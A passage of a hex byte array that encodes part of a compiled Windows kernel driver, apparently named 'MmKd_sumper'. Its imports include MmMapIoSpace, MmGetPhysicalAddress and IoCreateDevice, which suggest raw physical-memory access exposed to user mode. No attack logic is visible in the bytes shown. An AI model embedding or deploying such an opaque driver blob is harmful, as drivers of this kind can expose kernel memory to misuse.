0x00, 0x00, 0x00, 0x00, 0x39, 0x97, 0xA4, 0x68, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x43, 0x00, 0x00, 0x00,
0x80, 0x22, 0x00, 0x00, 0x80, 0x0E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x39, 0x97, 0xA4, 0x68, 0x00, 0x00, 0x00, 0x00,
0x0D, 0x00, 0x00, 0x00, 0x4C, 0x01, 0x00, 0x00, 0xC4, 0x22, 0x00, 0x00, 0xC4, 0x0E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x52, 0x53, 0x44, 0x53, 0xD7, 0x07, 0x48, 0xF0,
0xCF, 0x50, 0x04, 0x4F, 0x89, 0x49, 0x26, 0xCD, 0x6F, 0x05, 0xFF, 0x4D, 0x01, 0x00, 0x00, 0x00, 0x58, 0x3A, 0x5C, 0x4D,
0x6D, 0x4B, 0x64, 0x5F, 0x73, 0x75, 0x6D, 0x70, 0x65, 0x72, 0x5C, 0x78, 0x36, 0x34, 0x5C, 0x52, 0x65, 0x6C, 0x65, 0x61,
0x73, 0x65, 0x5C, 0x4D, 0x6D, 0x4B, 0x64, 0x5F, 0x73, 0x75, 0x6D, 0x70, 0x65, 0x72, 0x2E, 0x70, 0x64, 0x62, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0xE0, 0x02, 0x00, 0x00, 0x2E, 0x74, 0x65, 0x78, 0x74, 0x24, 0x6D, 0x6E,
0x00, 0x00, 0x00, 0x00, 0xE0, 0x12, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x2E, 0x74, 0x65, 0x78, 0x74, 0x24, 0x6D, 0x6E,
0x24, 0x30, 0x30, 0x00, 0x40, 0x13, 0x00, 0x00, 0xB0, 0x02, 0x00, 0x00, 0x2E, 0x74, 0x65, 0x78, 0x74, 0x24, 0x6D, 0x6E,
0x24, 0x32, 0x31, 0x00, 0xF0, 0x15, 0x00, 0x00, 0x56, 0x00, 0x00, 0x00, 0x2E, 0x74, 0x65, 0x78, 0x74, 0x24, 0x73, 0x00,
0x00, 0x20, 0x00, 0x00, 0x88, 0x00, 0x00, 0x00, 0x2E, 0x69, 0x64, 0x61, 0x74, 0x61, 0x24, 0x35, 0x00, 0x00, 0x00, 0x00,
0x88, 0x20, 0x00, 0x00, 0x30, 0x00, 0x00, 0x00, 0x2E, 0x30, 0x30, 0x63, 0x66, 0x67, 0x00, 0x00, 0xB8, 0x20, 0x00, 0x00,
0x18, 0x00, 0x00, 0x00, 0x2E, 0x67, 0x66, 0x69, 0x64, 0x73, 0x00, 0x00, 0xD0, 0x20, 0x00, 0x00, 0xB0, 0x01, 0x00, 0x00,
0x2E, 0x72, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, 0x80, 0x22, 0x00, 0x00, 0xB8, 0x01, 0x00, 0x00, 0x2E, 0x72, 0x64, 0x61,
0x74, 0x61, 0x24, 0x7A, 0x7A, 0x7A, 0x64, 0x62, 0x67, 0x00, 0x00, 0x00, 0x38, 0x24, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
0x2E, 0x78, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x2E, 0x64, 0x61, 0x74,
0x61, 0x00, 0x00, 0x00, 0x10, 0x30, 0x00, 0x00, 0x28, 0x00, 0x00, 0x00, 0x2E, 0x62, 0x73, 0x73, 0x00, 0x00, 0x00, 0x00,
0x00, 0x40, 0x00, 0x00, 0x6C, 0x00, 0x00, 0x00, 0x2E, 0x70, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, 0x00, 0x50, 0x00, 0x00,
0x5C, 0x00, 0x00, 0x00, 0x49, 0x4E, 0x49, 0x54, 0x00, 0x00, 0x00, 0x00, 0x5C, 0x50, 0x00, 0x00, 0x14, 0x00, 0x00, 0x00,
0x2E, 0x69, 0x64, 0x61, 0x74, 0x61, 0x24, 0x32, 0x00, 0x00, 0x00, 0x00, 0x70, 0x50, 0x00, 0x00, 0x18, 0x00, 0x00, 0x00,
0x2E, 0x69, 0x64, 0x61, 0x74, 0x61, 0x24, 0x33, 0x00, 0x00, 0x00, 0x00, 0x88, 0x50, 0x00, 0x00, 0x88, 0x00, 0x00, 0x00,
0x2E, 0x69, 0x64, 0x61, 0x74, 0x61, 0x24, 0x34, 0x00, 0x00, 0x00, 0x00, 0x10, 0x51, 0x00, 0x00, 0x5A, 0x01, 0x00, 0x00,
0x2E, 0x69, 0x64, 0x61, 0x74, 0x61, 0x24, 0x36, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x04, 0x03, 0x00, 0x01, 0x16, 0x00, 0x06,
0x04, 0x42, 0x00, 0x00, 0x0A, 0x15, 0x0A, 0x00, 0x03, 0x16, 0x00, 0x06, 0x15, 0x74, 0x0A, 0x00, 0x15, 0x64, 0x09, 0x00,
0x15, 0x34, 0x08, 0x00, 0x15, 0x52, 0x11, 0xE0, 0xC5, 0x12, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x69, 0x11, 0x00, 0x00,
0x78, 0x11, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0xE2, 0x11, 0x00, 0x00, 0x02, 0x0F, 0x08, 0x00, 0x02, 0x16, 0x00, 0x06,
0x0F, 0x64, 0x07, 0x00, 0x0F, 0x34, 0x06, 0x00, 0x0F, 0x32, 0x0B, 0x70, 0x02, 0x06, 0x04, 0x00, 0x02, 0x16, 0x00, 0x06,
0x06, 0x72, 0x02, 0x30, 0x02, 0x04, 0x03, 0x00, 0x07, 0x16, 0x00, 0x06, 0x04, 0x42, 0x00, 0x00, 0x02, 0x0A, 0x06, 0x00,
0x02, 0x06, 0x03, 0x06, 0x0A, 0x34, 0x06, 0x00, 0x0A, 0x32, 0x06, 0x70, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x32, 0xA2, 0xDF, 0x2D, 0x99, 0x2B, 0x00, 0x00, 0xCD, 0x5D, 0x20, 0xD2,
0x66, 0xD4, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x10, 0x00, 0x00, 0x23, 0x10, 0x00, 0x00, 0x94, 0x24, 0x00, 0x00, 0x30, 0x10, 0x00, 0x00, 0x4F, 0x10, 0x00, 0x00,
0x38, 0x24, 0x00, 0x00, 0x50, 0x10, 0x00, 0x00, 0x21, 0x11, 0x00, 0x00, 0x74, 0x24, 0x00, 0x00, 0x24, 0x11, 0x00, 0x00,
0x08, 0x12, 0x00, 0x00, 0x44, 0x24, 0x00, 0x00, 0x08, 0x12, 0x00, 0x00, 0xC5, 0x12, 0x00, 0x00, 0x88, 0x24, 0x00, 0x00,
0xF0, 0x12, 0x00, 0x00, 0xF5, 0x12, 0x00, 0x00, 0xB0, 0x24, 0x00, 0x00, 0x10, 0x13, 0x00, 0x00, 0x16, 0x13, 0x00, 0x00,
0xB0, 0x24, 0x00, 0x00, 0x40, 0x13, 0x00, 0x00, 0xEA, 0x15, 0x00, 0x00, 0xB0, 0x24, 0x00, 0x00, 0x00, 0x50, 0x00, 0x00,
0x2C, 0x50, 0x00, 0x00, 0xA0, 0x24, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x89, 0x5C, 0x24, 0x08, 0x57, 0x48, 0x83,
0xEC, 0x20, 0x48, 0x8B, 0xDA, 0x48, 0x8B, 0xF9, 0xE8, 0x17, 0x00, 0x00, 0x00, 0x48, 0x8B, 0xD3, 0x48, 0x8B, 0xCF, 0xE8,
0xE8, 0xC1, 0xFF, 0xFF, 0x48, 0x8B, 0x5C, 0x24, 0x30, 0x48, 0x83, 0xC4, 0x20, 0x5F, 0xC3, 0xCC, 0x48, 0x8B, 0x05, 0xCD,
0xDF, 0xFF, 0xFF, 0x48, 0x85, 0xC0, 0x74, 0x1B, 0x48, 0xB9, 0x32, 0xA2, 0xDF, 0x2D, 0x99, 0x2B, 0x00, 0x00, 0x48, 0x3B,
0xC1, 0x74, 0x0C, 0x48, 0xF7, 0xD0, 0x48, 0x89, 0x05, 0xB7, 0xDF, 0xFF, 0xFF, 0xC3, 0xCC, 0xB9, 0x06, 0x00, 0x00, 0x00,
0xCD, 0x29, 0xCC, 0xCC, 0x88, 0x50, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5C, 0x52, 0x00, 0x00,
0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x51, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x28, 0x51, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x3E, 0x51, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4E, 0x51, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x6E, 0x51, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x84, 0x51, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x94, 0x51, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0xA6, 0x51, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB6, 0x51, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xCC, 0x51, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xDE, 0x51, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF6, 0x51, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x08, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x2C, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x44, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x3A, 0x09, 0x52, 0x74, 0x6C, 0x49, 0x6E, 0x69, 0x74, 0x55, 0x6E, 0x69, 0x63, 0x6F, 0x64, 0x65,
0x53, 0x74, 0x72, 0x69, 0x6E, 0x67, 0x00, 0x00, 0x34, 0x06, 0x4D, 0x6D, 0x50, 0x72, 0x6F, 0x62, 0x65, 0x41, 0x6E, 0x64,
0x4C, 0x6F, 0x63, 0x6B, 0x50, 0x61, 0x67, 0x65, 0x73, 0x00, 0x4B, 0x06, 0x4D, 0x6D, 0x55, 0x6E, 0x6C, 0x6F, 0x63, 0x6B,
0x50, 0x61, 0x67, 0x65, 0x73, 0x00, 0x20, 0x06, 0x4D, 0x6D, 0x4D, 0x61, 0x70, 0x4C, 0x6F, 0x63, 0x6B, 0x65, 0x64, 0x50,
0x61, 0x67, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x69, 0x66, 0x79, 0x43, 0x61, 0x63, 0x68, 0x65, 0x00, 0x00, 0x4E, 0x06,
0x4D, 0x6D, 0x55, 0x6E, 0x6D, 0x61, 0x70, 0x4C, 0x6F, 0x63, 0x6B, 0x65, 0x64, 0x50, 0x61, 0x67, 0x65, 0x73, 0x00, 0x00,
0x1D, 0x06, 0x4D, 0x6D, 0x4D, 0x61, 0x70, 0x49, 0x6F, 0x53, 0x70, 0x61, 0x63, 0x65, 0x00, 0x00, 0x4D, 0x06, 0x4D, 0x6D,
0x55, 0x6E, 0x6D, 0x61, 0x70, 0x49, 0x6F, 0x53, 0x70, 0x61, 0x63, 0x65, 0x00, 0x00, 0x16, 0x03, 0x49, 0x6F, 0x41, 0x6C,
0x6C, 0x6F, 0x63, 0x61, 0x74, 0x65, 0x4D, 0x64, 0x6C, 0x00, 0x76, 0x04, 0x49, 0x6F, 0x66, 0x43, 0x6F, 0x6D, 0x70, 0x6C,
0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x00, 0x00, 0x43, 0x03, 0x49, 0x6F, 0x43, 0x72, 0x65, 0x61,
0x74, 0x65, 0x44, 0x65, 0x76, 0x69, 0x63, 0x65, 0x00, 0x00, 0x50, 0x03, 0x49, 0x6F, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65,
0x53, 0x79, 0x6D, 0x62, 0x6F, 0x6C, 0x69, 0x63, 0x4C, 0x69, 0x6E, 0x6B, 0x00, 0x00, 0x5D, 0x03, 0x49, 0x6F, 0x44, 0x65,
0x6C, 0x65, 0x74, 0x65, 0x44, 0x65, 0x76, 0x69, 0x63, 0x65, 0x00, 0x00, 0x5F, 0x03, 0x49, 0x6F, 0x44, 0x65, 0x6C, 0x65,
0x74, 0x65, 0x53, 0x79, 0x6D, 0x62, 0x6F, 0x6C, 0x69, 0x63, 0x4C, 0x69, 0x6E, 0x6B, 0x00, 0x00, 0x78, 0x03, 0x49, 0x6F,
0x46, 0x72, 0x65, 0x65, 0x4D, 0x64, 0x6C, 0x00, 0x05, 0x06, 0x4D, 0x6D, 0x47, 0x65, 0x74, 0x50, 0x68, 0x79, 0x73, 0x69,
0x63, 0x61, 0x6C, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x00, 0x00, 0x50, 0x0C, 0x5F, 0x5F, 0x43, 0x5F, 0x73, 0x70,
0x65, 0x63, 0x69, 0x66, 0x69, 0x63, 0x5F, 0x68, 0x61, 0x6E, 0x64, 0x6C, 0x65, 0x72, 0x00, 0x00, 0x6E, 0x74, 0x6F, 0x73,
0x6B, 0x72, 0x6E, 0x6C, 0x2E, 0x65, 0x78, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
